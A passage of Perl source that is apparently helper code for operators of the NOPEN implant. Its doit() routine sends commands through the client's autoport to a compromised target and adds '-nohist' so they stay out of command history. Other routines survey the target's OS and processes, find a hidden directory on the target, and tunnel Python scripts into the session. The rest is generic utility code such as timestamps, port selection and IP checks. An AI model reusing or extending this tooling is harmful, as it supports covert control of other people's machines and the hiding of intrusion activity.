    $usagetext = $gsusagetext if ($gsusagetext and !$usagetext) ;
    $usagetext = $usagetextshort if ($usagetextshort and !$usagetext) ;
    $usagetext .= $gsusagetextlong if ($longhelp and $gsusagetextlong);
    $usagetext .= $usagetextlong if ($longhelp and $usagetextlong);
    $output .= $usagetext;
  }
  $output .= $vertext ;
  $output .= "\nFATAL ERROR: @_\n" if ( @_ );
  #  progprint($output,$COLOR_NORMAL,STDOUT);
  print STDOUT $output;
  exit;
}				#usage

sub dbgdie {
  my $more = "ENV\n".`env`."\n===\n";
  my $t=timestamp();
  dbg("@_\n\n$more");
  mydie();
}				#dbgdie

sub dbg {
  my $t=timestamp();
  my $sleep = 0;
  my $pid = $$;
  $pid .= "($pp_utils)" if $pp_utils;
  if ($_[$#_] =~ /^\d+$/) {
    $sleep = pop(@_);
  }
  dammit("$t v. $VER ${prog}[$pid]: ${COLOR_FAILURE}DBGwarn\a: @_$COLOR_NORMAL") ;
  sleep $sleep if $sleep;
  #    if ("@_" =~ /dammit/); #dbg
  #  mywarn("${COLOR_FAILURE}DBGmywarn\a: @_$COLOR_NORMAL") ; #dbg
}				#dbg
sub dammit {
  my $duh = "@_";
  if (open(TMPOUT,">> $optmp/dammit")) {
    print TMPOUT "@_\n";
    close(TMPOUT);
  } else {
    `echo -e "$duh" 2>/dev/null >> $optmp/dammit`;
  }
}

sub doit {
  # NOTE: This doit() is polymorphic. If $socket and $nostdout are both
  #       defined, it behaves the new $socket way. If not, the old
  #       multi-pass way, assumes NOPENOUT is where to write unless
  #       final argument ends in OUT.
  #
  #       Yet another use of doit()--if $nonopen is set, we are not NOPEN'd
  #       at all. Instead, write it out as a local shell script (get rid of
  #       any -lsh in there...).
  #
  #  NEAT: If the $cmd being run is redirected to L:, the $output we see/set
  #        here still contains the output even though it does not hit the
  #        screen.
  #
  # global $socket, the connection to the NOPEN_AUTOPORT
  # First or last arg of NONOHIST and the command will not contain
  # -nohist (so it WILL be in uparrow history).
  local (@cmds) = (@_) ;
  local ($output,$nopenlines,@lines) = () ;
  my $line = "" ;
  my $nohistthistime = "";
  my $skipfirst=1;
  while ($cmds[$#cmds] eq "NONOHIST") {
    $nohistthistime = pop(@cmds);
  }
  while ($cmds[0] eq "NONOHIST") {
    $nohistthistime = shift(@cmds);
  }
  my $where = "NOPENOUT" ;
  if ($cmds[$#cmds] =~ /OUT$/) {
    $where = pop(@cmds);
  }
  foreach $cmd (@cmds) {
    chomp($cmd);
    my $usenohist = "";
    my $wewillreadline=0;
    $usenohist = "-nohist " 
      unless ($cmd eq "#NOGS" or
	      $cmd =~ /\s-nohist/ or
	      $cmd =~ /-nohist / or
	      $cmd =~ /^\s*mkdir / or
	      $cmd =~ /;\s*mkdir / or
	      $cmd =~ /^\s*-put / or
	      $nonohist or
	      $nohistthistime);
    dbg("In doit(@_) with h=$usenohist= cmd=$cmd= nonohist=$nonohist= nohistthistime=$nohistthistime=");
    dbg("in doit(@_) at if (defined $socket and $pilotstarted and $where eq NOPENOUT");
    if (defined $socket and $pilotstarted and $where eq "NOPENOUT") {
      if ($cmd =~ /-getenv/) {
	# We skip getenv unless weve done a setenv since last getenv in this window.
	if ($host_lastgetenvontarget{$nopen_mypid} and
	    (time() - $host_lastgetenvontarget{$nopen_mypid} < 30) and
	    $host_lastgetenvoutput{$nopen_mypid} and
	    $host_lastgetenvontarget{$nopen_mypid} > $host_lastsetenvontarget{$nopen_mypid}) {
	  $output .= $host_lastgetenvoutput{$nopen_mypid};
	  push(@lines,"$host_lastgetenvoutput{$nopen_mypid}\n");
	  dbg("setting $cmd output to $output from hostvars");
	  next;
	}
    }
      # send the command to the noclient NOPEN_AUTOPORT
      dbg("h=$usenohist= cmd=$cmd= cmdh=$cmd$usenohist= cmdh2=${cmd}${usenohist}= in doit#".$globaldoitcount++."\nSending: $cmd$usenohist");
      #NOT WORKING
      #      if ($usenohist) {
      #	if ($cmd =~ /(\s*\>+\s*[T]:.*$)/) {
      #	  $cmd =~ s,(\s*\>+\s*[LT]:.*), -nohist $1,g;
      #	} else {
      #	  $cmd = "$cmd -nohist";
      #	}
      #      }
      if ($usenohist and $cmd !~ /-nohist/ and $cmd) {
	my $histcmd = $cmd;
	if ($cmd =~ m,^\s*-lsh\s,) {
	  $histcmd =~ s,^\s*-lsh\s,-lsh -nohist ,;
	} elsif ($cmd =~ m,^\s*[\-=],) {
          if ($cmd =~ m,[^12]>[^&],) {
            $histcmd =~ s,([^12])>([^\&]),\1-nohist >\2,;
          } elsif ($cmd =~ m,>,) {
            $histcmd =~ s,^(\s*\S+),\1 -nohist,;
          } else {
            $histcmd = "$cmd -nohist";
          }
	} else {
	  $histcmd = "-nohist $cmd";
	}
	print $socket ("$histcmd\n");
      } else {
	print $socket ("$cmd\n");
      }
      if ($cmd =~ /-getenv/) {
	# Clear old, new one coming
	$host_lastgetenvoutput{$nopen_mypid} = "";
      }
      # read in output of the command
      while (<$socket>) {
	dbg("autoport socket:$_:");
	if (/^\[\d\d-\d\d-\d\d \d\d:\d\d:\d\d( GMT| UTC){0,1}\]\[\S+:\d+.*:\d+\]$/) {
	  $nopenlines .= $_;
	  $skipfirst=1;
	  next;
	}
	my $cmd2 = $cmd;
	$cmd2 =~ s,\>.*,,g;
	if (/^\[.+\]$/) {
	  if (/Saving.*output to: \// or
	      /^Command out file: / or
	      $skipfirst) {
	    $skipfirst=0;
	    $nopenlines .= $_;
	    next;
	  }
	}
	# This is the end of that command, beginning of the noclient prompt,
	# so we're done here.
	if (/^NO\!\s/) {
	  $nopenlines .= $_;
	  last;
	}
	if ( /^We will be reading from \d+$/ and !$wewillreadline++ ) {
	  $nopenlines .= $_;
	} else {
	  if ($cmd =~ /-getenv/) {
	    $host_lastgetenvoutput{$nopen_mypid} .= $_;
	  }
	  $output .= $_;
	}
      }#while(<$socket>)
      unless ($cmd =~ /^\s*(-nohist ){0,1}\s*-lsh/) {
	my $tmp = time();
	if ($cmd =~ /-getenv/) {
	  newhostvar("host_lastgetenvontarget{$nopen_mypid}",$tmp);
	} elsif ($cmd =~ /-setenv/) {
	  newhostvar("host_lastsetenvontarget{$nopen_mypid}",$tmp);
	}
	newhostvar("host_lastdoitontarget",$tmp,
		   "host_lastdoitontarget{$nopen_mypid}",$tmp
		  );
      }
      push(@lines,split(/\n/,$output));
    } else {
      if ($nonopen or !($where eq "NOPENOUT")) {
	$cmd =~ s/^\s*-lsh //;
	$cmd =~ s/\s*-nohist\s/ /;
	$usenohist="";
	# Do nothing if this seems to be a NOPEN builtin, which doesn't
	# make sense here
	if ($cmd =~ /^\s*[-=]/) {
	  mywarn("doit($cmd) ignoring this NOPEN command when not NOPEN'd")
	    unless $quiet;
	  next;
	}
      }
      print $where ("$cmd\n");
      $output .= "$cmd\n";
    }
  }				#foreach $cmd
  dbg("still got lines=(@lines) output=$output= nopenlines=$nopenlines=");


  ($nocwd) = $nopenlines =~ /NO\! $nopen_hostonlyexpr:(\/.*).$/;
  shift(@lines) if $lines[0] =~ /^We will be reading from \d+$/;
  dbg("in doit(@_) with where=$where nonopen=$nonopen");
  dbg("done:   return ($output,$nopenlines,@lines) 
    unless (nonopen==$nonopen or !(where==$where eq NOPENOUT)) ;");
  return ($output,$nopenlines,@lines) 
    unless ($nonopen or !($where eq "NOPENOUT")) ;
  dbg("Actually doit is returning scalar output=$output=");
  return $output;
}				#doit

#
# Arguments:
#  $getret     1 if want to set up a local unix socket to receive the results
#              from the script by making the first argument "perl:<sockfile>".
#  $pyscript   The python script to run, ex "autolss.py" or 
#              "/current/etc/autolss.py". Relative locations will be from
#              /current/etc/.
#  $argstr     The string of the arguments to pass, ex "-a -b -c 2 /blah".
#
sub mypydo {
  my ($getret, $pyscript, $argstr) = @_;
  my ($pyport, $pysock_srv, $pysock_cli, $usock_file,
      $usock_srv, $usock_cli, $pid, $exec_str);
  my $retbuf = "";

  if($pyscript !~ /^\//) {
    $pyscript = "$opetc/$pyscript";
  }

  if(! -x $pyscript) {
    progprint("${COLOR_FAILURE}File does not exists or is not executable: ${pyscript}");
    return "";
  }

  # socket to use for autoport tunnel
  $pyport = myrand(10000, 65500);
  $pysock_srv = new IO::Socket::INET(
    LocalHost => "127.0.0.1",
    LocalPort => $pyport,
    Proto => "tcp",
    Listen => 1,
    Reuse => 1
    ) or mydie("could not set up autoport tunnel");

  if($getret) {
    # unix socket to return data back on
    $usock_file = "/tmp/.mypydo.${pyport}";
    $usock_srv = new IO::Socket::UNIX(
      Local => $usock_file,
      Type => SOCK_STREAM,
      Listen => 1
        ) or mydie("could not set up unix sock");
  }

  if($getret) {
    $exec_str = "NOPEN_AUTOPORT=${pyport} ${pyscript} perl:${usock_file} ${argstr}";
  }
  else {
    $exec_str = "NOPEN_AUTOPORT=${pyport} ${pyscript} ${argstr}";
  }

  $pid = fork();

  if($pid == 0) {
    # child here

    my $mypid = POSIX::getpid();
    my $errfd = fileno(OLDERR);

    my $ls = `/bin/ls -1 /proc/${mypid}/fd`;
    my @fds = split(/\n/, $ls);

    # close all fds other than stdin and the saved stderr
    foreach my $fd (@fds) {
      $fd = int($fd);

      if($fd != 0 && $fd != $errfd) {
        POSIX::close($fd);
      }
    }

    # reopen saved stderr twice, which should give it fd #'s1 and 2
    open(STDOUT, ">&OLDERR");
    open(STDERR, ">&OLDERR");

    #dbg("mypydo: Executing [${exec_str}]");
    
    exec($exec_str);

    progprint("${COLOR_FAILURE}Failed to run script: ${pyscript}");
    return "";
  }

  # accept connection from the python script
  $pysock_cli = $pysock_srv->accept();

  my $gotnogs = 0;

  # read until get the #NOGS
  while(<$pysock_cli>) {
    if($_ =~ /^#NOGS/) {
      $gotnogs = 1;
      last;
    }
  }

  if($gotnogs == 0) {
    progprint("Invalid connection from script.");
    return "";
  }

  my $running = 1;
  my $sel = new IO::Select();

  $sel->add($pysock_cli);
  $sel->add($socket);

  while($running) {
    @ready = $sel->can_read();

    foreach $fh (@ready) {
      my $buf = "";

      # have to use recv so doesn't buffer w/o newlines
      recv($fh, $buf, 2048, 0);
      #dbg("BUFFER: [${buf}]");

      if(length($buf) > 0) {
        if($fh == $pysock_cli) {
          $socket->send($buf);
        }
        elsif($fh == $socket) {
          $pysock_cli->send($buf);
        }
      }
      else {
        $running = 0;
      }
    }
  }

  $pysock_cli->close();
  $pysock_srv->close();

  if($getret) {
    # wait for connection to get returned data
    # TODO: maybe use select to have timeout in case child dies or hangs
    $usock_cli = $usock_srv->accept();

    $retbuf = "";

    while(<$usock_cli>) {
      $retbuf .= $_;
    }

    $usock_cli->close();
    $usock_srv->close();

    if(-S $usock_file) {
      system("rm -f ${usock_file}");
    }
  }

  waitpid($pid, WNOHANG);

  dbg("mypydo returning: \"$retbuf\"");

  return $retbuf;
} #mypydo

sub mygetinput {
  # Use $opetc/autogetinput to prompt then take input from user.
  local ($prompt,@moreargs) = (@_);
  # autogetinput writes their response to $optmp/.answer
  my $eext=0;
  $eext++ while (-e "$optmp/.prompt_${nopen_rhostname}_$$.$eext" or -e "$optmp/.answer_${nopen_rhostname}_$$.$eext");
  my $promptfile = "$optmp/.prompt_${nopen_rhostname}_$$.$eext";
  my $answerfile = "$optmp/.answer_${nopen_rhostname}_$$.$eext";
  if (open(OUTOUT,"> $promptfile")) {
    print OUTOUT $prompt;
    close(OUTOUT);
    #dbg("nopen_rhostname=$nopen_rhostname socket=$socket=");
    if ($nopen_rhostname and $socket) {
      doit("-lsh $opetc/autogetinput -O $answerfile -P $promptfile @moreargs");
    } else {
      system("$opetc/autogetinput -O $answerfile -P $promptfile @moreargs");
    }
  } else {
    mydie("$prog: Unable to write to $promptfile");
  }
  my $loopcount=0;
  while ( 1 ) {
    $loopcount++;
    #    dbg("Looking for $answerfile:\n".
    #	`ls -al $answerfile`);
    -s $answerfile and last;
    sleep 1;
    last if $loopcount > 100;
  }
  #  dbg("Exited with loopcount=$loopcount:\n".
  #      `ls -al $answerfile`);
  return surveysays($answerfile);
}				#mygetinput

sub surveysays {
  # surveysays($answerfile) reads in $answerfile
  # and returns the first (lc) letter of their response and
  # their entire response in a two element array.
  local($answerfile) = (@_);
  open(ANSWER,"$answerfile")
    or mydie("Unable to open $answerfile: $!\n");
  chomp($ans = <ANSWER>);
  close(ANSWER);
  #dbg(" WIPING answerfile=$answerfile ; ls -al $answerfile\n".`ls -al $answerfile`);
  unlink($answerfile);
  return (lc substr($ans,0,1),$ans);
}				#surveysays

sub mypause {
  my @ARGS = @_;
  $ARGS[0] .= "$COLOR_NOTE\nPAUSED$COLOR_FAILURE\nHit Enter to continue$COLOR_NORMAL";
  if ($gbl_nopromptsplease or $host_nopromptsplease) {
    progprint(@ARGS);
  } else {
    return mygetinput(@ARGS);
  }
}

sub parsestatus {
  # global @statusoutput
  # If @statusoutput has yet to be populated, or if @_, we run -status
  # on the far side, put its output in @statusoutput.
  # Returns parsed values from the -status command
  local ($force) = (@_);
  return ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,
	  $localpid,$localppid,$serverver,$wdir,$targetos,
	  $targetcwd,$targetpid,$targetppid,$targetport,$localport)
    if (!$socket or
	(!$force and 
	 $clientver and
	 $histfile and
	 $cmdoutfile and
	 $localcwd and
	 $nhome
	 )
       );
  # locals
  my ($junk,$remotesection,$localsection) = ();
  unless (!$force and @statusoutput) {
    ($junk,$junk,@statusoutput) = doit("-status");
  }


  foreach (@statusoutput) {
    $localsection++ if (/^Local$/);
    unless ($localsection) {
      $localport = $1
	if /Local Host:Port\s.*\(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:(\d+)/;
      $targetport = $1
	if /Remote Host:Port\s.*\(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:(\d+)/;
    }
    next unless $localsection;
    unless ($remotesection) {
      $clientver = $1 if /NOPEN client\s+(\S+)/ ;
      $histfile = $1 if /History\s+(\S+)/ ;
      $histfile =~ s,/+[^/]+/+../+down/+,/down/,;
      $cmdoutfile = $1 if /Command Out\s+(\S+)/ ;
      $cmdoutfile =~ s,/+[^/]+/+../+down/+,/down/,;
      if (/CWD\s+(\S+)/) {
	$localcwd = $1 ;
	$localcwd =~ s,/+,/,g;
      }
      $nhome = $1 if /NHOME\s+(\S+)/ ;
      ($localpid,$localppid) = ($1,$2) if /PID .PPID.\s+(\d+)\s+\((\d+)/ ;
    } else {
      $serverver = $1 if /NOPEN server\s+(\S+)/ ;
      $wdir = $1 if /WDIR\s+(.*)/ ;
      $targetos = $1 if /OS\s+(.*)/ ;
      if (/CWD\s+(\S+)/) {
	$targetcwd = $1;
	$targetcwd =~ s,/+,/,g;
      }
      ($targetpid,$targetppid) = ($1,$2) if /PID .PPID.\s+(\d+)\s+\((\d+)/ ;


      # If we are a solaris zone, our parent may still be init
      # even when it is > 1.
    }


#DBG ONLY:
#      $solariszonecapable = 1;
      if ($solariszonecapable and
	  $socket and
	  !defined $host_solariszone and
	  $targetppid > 1
	 ) {
#      if(1) {
#ENDDBGONLY
	my ($output,$nopenlines,@output) =
	  doit("=ps >L:$opdown/ps.$nopen_rhostname")
	    unless (-s "$opdown/ps.$nopen_rhostname");
	unless (@output) {
	  if (open(PARSEIN,"$opdown/ps.$nopen_rhostname")) {
	    while (<PARSEIN>) {
	      chomp;
	      push(@output,$_);
	    }
	    close(PARSEIN);
	  }
	}
	my @initlines = grep m,/init, , @output;
	@initlines  = grep m, init$, , @output
	  unless @initlines;
	@initlines  = grep m,init$, , @output
	  unless @initlines;
	@initlines  = grep m, init, , @output
	  unless @initlines;
	@initlines  = grep m,init, , @output
	  unless @initlines;
	newhostvar("host_solariszone",0);
	foreach my $line (@initlines) {
	  my ($myinitpid,$initppid) = /\s(\d+)\s+(\d+)\s/;
	  #TODO: Is this buggy? Is it init's pid we mean not ppid?
	  # If NOPEN ppid and init's ppid are same, we are zone and 
	  # here we FORCE $targetppid to 1.
	  if ($myinitpid == $targetppid) {
	    newhostvar("host_solariszone",$myinitpid);
	    newhostvar("host_initpid",$myinitpid);
	    $initpid = $host_initpid;
	    my $more = "\n\n".
	      "Continuing in 10 seconds....\n\n"
		unless (-f "$optmp/.initnot1warned.$nopen_rhostname");

	    progprint($COLOR_FAILURE.
		      "\n\n".
		      "We are in a Solaris ZONE with our parent pid ($targetppid) greater\n".
		      "than one, and yet that pid is also the parent of init:\n".
		      $line."\n\n".
		      "So we must be a callback. sub parsestatus() is REPLACING\n".
		      "\$targetppid (NOPEN's parent PID) with 1, as that is what\n".
		      "init normally looks like in callback mode and it will avoid\n".
		      "errors elsewhere.".
		      $more
		     );
	    sleep 10 unless (-f "$optmp/.initnot1warned.$nopen_rhostname");
	    copy("$opdown/ps.$nopen_rhostname","$optmp/.initnot1warned.$nopen_rhostname");
	    $targetppid = 1;
	    last;
	  }
	}
      }
    $remotesection++ if (/^Remote$/);
    next unless $remotesection;
  }
  # KNOWN: 7500 broke getcdrhits, going smaller
  $nopenmaxcommandlength = 7500
      if ($clientver and
	  $serverver and
	  $clientver eq $serverver and
	  !$solaristarget and
	  int (10 * substr($clientver,0,3)) > 30);

  return ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,
	  $localpid,$localppid,$serverver,$wdir,$targetos,
	  $targetcwd,$targetpid,$targetppid,$targetport,$localport)

}
#parsestatus

sub timestamp {
  my ($short) = (@_);
  my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst,$monstr) =
    gmtime();
  $year+=1900;
  $mon++;
  return sprintf("%4d%02d%02d-%02d%02d%02d",
		 $year,$mon,$mday,$hr,$min,$sec)
    if $short;
  return sprintf("%4d-%02d-%02d %02d:%02d:%02d GMT",
		 $year,$mon,$mday,$hr,$min,$sec);
}
sub epochseconds {
  #dbg("Inside epochseconds(@_)");
  local ($line) = (@_);
  chomp($line);
  chomp(my $thisyear = `date -u +%Y`);
  $time=time;
  my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst,$monstr) =
    localtime($time);
  my $time2=Time::Local::timegm($sec,$min,$hr,$mday,$mon,$year);
  my $diff = $time-$time2;
  if ($line =~ /^\d+$/ ) {
    my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst,$monstr) =
      gmtime($line);

    my $monstr = $mons[$mon];
    my $tz="TZ=UTC";
    chomp(my $newway=`$tz date -ud "$monstr $mday $hr:$min$sec $year" +%s`);
    #dbg("epochseconds/if returning  ($newway,$monstr,$mday,$hr,$min,$year)");
    return ($newway,$monstr,$mday,$hr,$min,$year) ;
  } elsif (($monstr,$mday,$hr,$min,$sec,$year) = $line =~
	   /(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d+)\s+(\d+):(\d+)(:\d+){0,1}\s*(\d+){0,1}/) {

    chomp(my $tz = `grep "^Box Time Zone:" $opdown/hostinfo.$nopen_rhostname 2>/dev/null`);
    $tz =~ s/.*:\s+//g;
    if (!$tz) {
      ($tz) = $line =~ /:\d\d\s+(\S+)(\s|$)/ ;
      # autochecklast input has "pts/#" where this thought TZ was,
      # hence the second match on pts/.
      my ($partz) = $tz =~ m,.*/[^/]+$,;
      $tz = "" if ($tz =~ /^[\d:]+$/ or 
		   length $tz < 2 or
		   $tz =~ /pts\// or
		   !$validtimezone{$partz});
    }
    my $TZ = "TZ=$tz" if $tz;
    if ($year and $year < 100) {
      $year = 100*substr($thisyear,0,2) + $year;
      # See perldoc Time::Local, which mentions
      # this floating century idea.
      $year -= 100
	unless (($thisyear - 50) <= $year and ($thisyear + 50) > $year);
    }
    my $cmd = "$TZ date -d \"$monstr $mday $hr:$min$sec $tz $year\" +%s";
    #dbg("Setting:    my $cmd = \"$TZ date -d \\\"$monstr $mday $hr:$min$sec $tz $year\\\" +%s\";");
    #dbg("Setting:    my \$cmd = \"\$TZ date -d \\\"\$monstr \$mday \$hr:\$min\$sec \$tz \$year\\\" +%s\";");
    my $cmd = "$TZ date -d \"$monstr $mday $hr:$min$sec $tz $year\" +%s";
    #dbg("line=$line\ncmd=$cmd");
    chomp(my $newway=`$cmd`);
    #dbg("cmd=$cmd");
    #dbg(" ($monstr,$mday,$hr,$min,$year) nw=$newway");
    #    ($sec) = $sec =~ /(\d+)/;
    #    $sec = int($sec);
    #    $mon=$nummon{$monstr};
    #    # $year of 2038 or bigger is buggy--gives times around 1910
    #    $year = $thisyear unless ($year and $year < 2038);
    #    ($mday,$hr,$min,$sec) = padto(2,$mday,$hr,$min,$sec);
    #    my $kludge=0;
    #    # huh? Sending timegm 1400 returns time of 1300? 
    #    # This was in June--this a DST thing?
    #    $kludge=1; 
    #    return ($diff+Time::Local::timegm_nocheck($sec,$min,$hr+$kludge,$mday,$mon,$year),$monstr,$mday,$hr,$min,$year,$newway,$diff) ;
    #dbg("$newway ($monstr,$mday,$hr,$min,$sec,$year)");
    #dbg("epochseconds/elsif returning  ($newway,$monstr,$mday,$hr,$min,$year)");
    return ($newway,$monstr,$mday,$hr,$min,$year) ;
  } else {
    #dbg("epochseconds returning 0");
    return 0;
  }
}				#epochseconds
sub strtoseconds {
  # converts "[#d][#h][#m]#s" format into epoch seconds
  ($_) = (@_);
  s/\s//;
  chomp;
  return -1 unless /^[-\ddhms\s]+$/;
  return -1 if (/d.*d/ or /h.*h/ or /m.*m/ or /s.*m/ or /-.*-/);
  return -1 if (/-/ and !/^-/);
  return $_ unless /[dhms]/;
  my $sign=1;
  $sign=-1 if /^-/;
  my ($d) = /(\d+)\s*d/;
  my ($h) = /(\d+)\s*h/;
  my ($m) = /(\d+)\s*m/;
  my ($s) = /(\d+)\s*s/;
  $d *= 60*60*24;
  $h *= 60*60;
  $m *= 60;
  return $sign*(int($d) + int($m) + int($h) + int($s));
}				#strtoseconds

sub secstostr {
  # given seconds returns string in form "[#d][#h][#m]#s"
  my ($secs) = (@_);
  my $sign = $secs < 0 ? -1 : 1 ;
  $secs=abs(int($secs));
  my $d = int($secs/(24*60*60));
  $secs -= $d * (24*60*60);
  my $h = int($secs/(60*60));
  $secs -= $h * (60*60);
  my $m = int($secs/(60));
  $secs -= $m * (60);
  my $s = $secs;
  $d = $d ? "${d}d " : "";
  $h = $h ? "${h}h " : "";
  $m = $m ? "${m}m " : "";
  $s = $s ? "${s}s " : "";
  my $val = "$d$h$m$s";
  $val =~ s/\s*$//;
  $val =~ s/ 0s\s*$//;
  return $val;
}				#secstostr

sub countdowntimer {
  my ($delaystr,$abortfile) = (@_);
  my $delaysecs = strtoseconds($delaystr);
  return -1 if $delaysecs < 0;
  while ($delaysecs--) {
    print STDERR "\rTime left:\t".secstostr($delaysecs)."        " ;
    sleep 1;
    if ($abortfile and -e $abortfile) {
      $delaysecs=0;
      print STDERR "\n\n".timestamp()." Delay truncated (found $abortfile)";
      unlink($abortfile);
    }
  }
  print STDERR "\n";
}				#countdowntimer


sub freeport {
  # returns first unused port starting at $_[0]
  my ($port) = (@_);
  $port++ while (`netstat -an | grep $port | egrep "LISTEN|ESTABLISHED" 2>&1`) ;
  return $port;
}				#freeport

sub pilotstart {
  #dbg("In pilotstart(@_) with pilotstarted=$pilotstarted");
  # OK. Let's proceed. Connect to $NOPEN_AUTOPORT, close out
  # outputs, fork and exit. Child stays connected to $socket and 
  # returns $socket fp.
  my $quiet = 0;
  if ($_[0] =~ /quiet/i) {
    $quiet = shift(@_);
  }
  # In newer autoutils we check if client is too old for us
  #  if (!$nopen_autoport or (verval($nopen_clientver))[1] < (verval("3.0.3.2"))[1]) {
  #    my $nogsfile = "$opetc/nopen_auto.$nopen_mypid" ;
  #    unlink("$nogsfile.$ext");
  #    if (open (NOPENOUT,"> $nogsfile.$ext")) {
  #      print NOPENOUT "#NOGS\n-gs scriptcheck quiet -nohist\n";
  #      close(NOPENOUT);
  #      rename("$nogsfile.$ext","$nogsfile");
  #      progprint("\n\n\n\nTry again--proper autoutils will now be put in place\n\n");
  #      sleep 5;
  #      mydie();
  #    }
  #  }
  mydie("Cannot use NOPEN_AUTOPORT...is this an old version (older than 3.0.4*) of noclient?")
    unless $nopen_autoport;
  progprint("Closing stdout/stderr. Future output via popups or -lsh echos") unless $quiet;
  open(OLDERR, ">&STDERR"); # save stderr
  close(STDOUT);
  close(STDERR);
  # set this global--now print functions know to use -lsh echo for output
  $nostdout=1;
  # Now connect to this client's autoport
  my $count=0;
  while (1) {
      use IO::Socket ;
      $count++;
      $socket = IO::Socket::INET->new("127.0.0.1:$nopen_autoport")
	  and last;
      sleep 1 ;
      mydie("Cannot open socket to 127.0.0.1:$nopen_autoport (NOPEN_AUTOPORT)")
	  if ($count > 5) ;
  }
  #dbg("in pilotstart with pilotstarted=$pilotstarted");
  print $socket "#NOGS\n" unless $pilotstarted;
  $pilotstarted=1;
  if (my $kidpid = fork()) {
    close($socket);
    exit;
  }
  progprint("Connected to autoport 127.0.0.1:$nopen_autoport",$COLOR_FAILURE) unless $quiet;
  
  # This makes sure we find our hidden directory first thing
  if (!$host_hiddendir) {
    my ($hdir,$shdir,@lsoutput) =
      gethiddendir();
  }

  return $socket;
}				#pilotstart

sub ipcheck {
  # returns 1 iff $ipstr is in dotted decimal notation with each 
  # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid)
  # but you can disallow 0 or 255 by putting as the first one or two elements in
  # @_ "no0" or "no255" or both.
  my $maxval=255;
  my $minval=0;
  while ($_[$#_] =~ /^no(0|255)$/) {
    if ($_[$#_] =~ /no255/) {
      pop(@_);
      $maxval=254;
    }
    if ($_[$#_] =~ /no0/) {
      pop(@_);
      $minval=1;
    }
  }
  local($ipstr,$minoctets,$maxoctets) = @_;
  $minoctets=abs(int($minoctets)) if defined $minoctets;
  $maxoctets=abs(int($maxoctets)) if defined $maxoctets;
  unless($minoctets) {
    $minoctets=4 ;
  }
  unless (defined $maxoctets and $maxoctets <= 4 and $maxoctets > 0) {
    $maxoctets=4;
  }
  # strip trailing "." if partial IPs allowed
  $ipstr =~ s/\.$// if ($maxoctets < 4) ;
  # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.")
  my @octets=split(/\./,$ipstr,-1);
  return 0 if (@octets < $minoctets or @octets > $maxoctets);
  foreach (@octets) {
    # return 0 if (empty or nondigits or <0 or >$maxval)
    return 0 if (( /\D/ ) || $_ < $minval || $_ > $maxval);
    # next line allows partial IPs ending in ".", ignore last
    return 0 if ($minoctets == 4 and $_ eq "");
  }
  return 1;
}				#ipcheck

sub padto {
  # Pads numbers in @nums with leading 0's to make each (at least) $size digits
  local($size,@nums) = @_;
  for ($i = 0 ; $i < @nums ; $i++) {
    $nums[$i] = sprintf("%0${size}d",$nums[$i]);
  }
  return @nums;
}				#padto

sub filepopup {
  my $gotoend = "";
  if ($_[$#_] =~ /gotoend/) {
    $gotoend = " +";
    pop(@_);
  }
  local ($file,$xargs,$noage) = (@_);
  my $title = "";
  unless (-e $file or ! $nopen_rhostname) {
    $file = "$opdown/$nopen_rhostname/$file";
  }
  $file =~ s,/+,/,g;
  if (-e $file) {
    my $pid = fork();
    return $pid if $pid;
    close($socket) if (defined $socket);
    $xargs = "-geometry 88x58 -bg white -fg blue" unless $xargs;
    $xargs .= " -geometry 88x58" unless ($xargs =~ /-g/);
    my $age = 24 * -M $file ;
    my $min = ($age - int($age)) * 60;
    $age = sprintf("%dh%dm",int($age),$min);
    $age =~ s/^0h//;
    unless ($xargs =~ /-title/) {
      $title=$file;
      if ($title =~ $nopen_rhostname) {
	$title =~ s/.*$nopen_rhostname/$nopen_hostonly:/;
      }
      if ($noage) {
	$title = "-title \"$title\"";
      } else {
	$title = "-title \"$age:$title\"";
      }
    }
    exec("xterm $title $xargs -e view$gotoend $file") ;
    #  } else {
    #    progprint($file);
    #    close($socket) if (defined $socket);
    #    exit;
  }
}				#filepopup

sub testrun {
  local (@progs) = (@_);
  my $warnings="";
  unless ($testrun{"firstrundone"}) {
    mydie("Cannot use testrun() unless \$socket is open")
      unless defined $socket;
    $testrun{"firstrundone"}++;
    if (open(U_IN,"< $optmp/testrun.$nopen_rhostname")) {
      while (<U_IN>) {
	chomp;
	$testrun{$_}++;
      }
      close(U_IN);
    }
  }
  foreach $prog (@progs) {
    next if $testrun{$prog};
    ($output) = doit($prog);
    if ($output =~ /no such file/i) {
      $warnings.="\n\t\tFATAL: $prog not in path";
      next;
    }
    $testrun{$prog}++;
    if (open(U_IN,">> $optmp/testrun.$nopen_rhostname")) {
      print U_IN "$prog\n";
      close(U_IN);
    }
  }
  return $warnings;
}				#testruns

sub myrand  {
  # generate a random integer
  # NOTE: Small chance of never returning--if every port in the range is excluded.
  # NOTE:  Don't do that.
  local ($mymin,$mymax,$excludestring) = (@_);
  local $tmp;
  $mymin or $mymin=10025 ;
  $mymax or $mymax=65534 ;
  my @excludethese = @excludeports;
  my ($portstart,$portstop) = ($excludestring,$excludestring);
#warn "STARTING: portstart=$portstart= portstop=$portstop= : \n";
#mydie( "excludeportstring=$excludeportstring= opt_x=$opt_x= excludestring=$excludestring= STARTING: portstart=$portstart= portstop=$portstop= : \n");
  foreach my $portarg (split(/,+/,$excludestring)) {
    if ($portarg =~ /-*-/) {
      mydie("-x argument must be a list of ports or port ranges: -x $opt_x")
	if ($prog =~ /ourtn/);
      # Otherwise, silently ignore this bad argument
      next;
    } else {
      ($portstart,$portstop) = $portarg =~ /(\d+)-(\d+)/;
      if ($portstart > $portstop) {
      my $tmp = $portstart;
      $portstart = $portstop;
      $portstop = $tmp;
      }
    }
    for (my $i = $portstart; $i <= $portstop; $i++) {
      $excludethese[$i] = 1;
    }
  }

  return 0 if ($mymax == $mymin and $excludethese[$mymin]);
  while (1) {
    $tmp=int(rand($mymax - $mymin + 1));
    $tmp+=int(rand($mymax - $mymin + 1));
    $tmp+=int(rand($mymax - $mymin + 1));
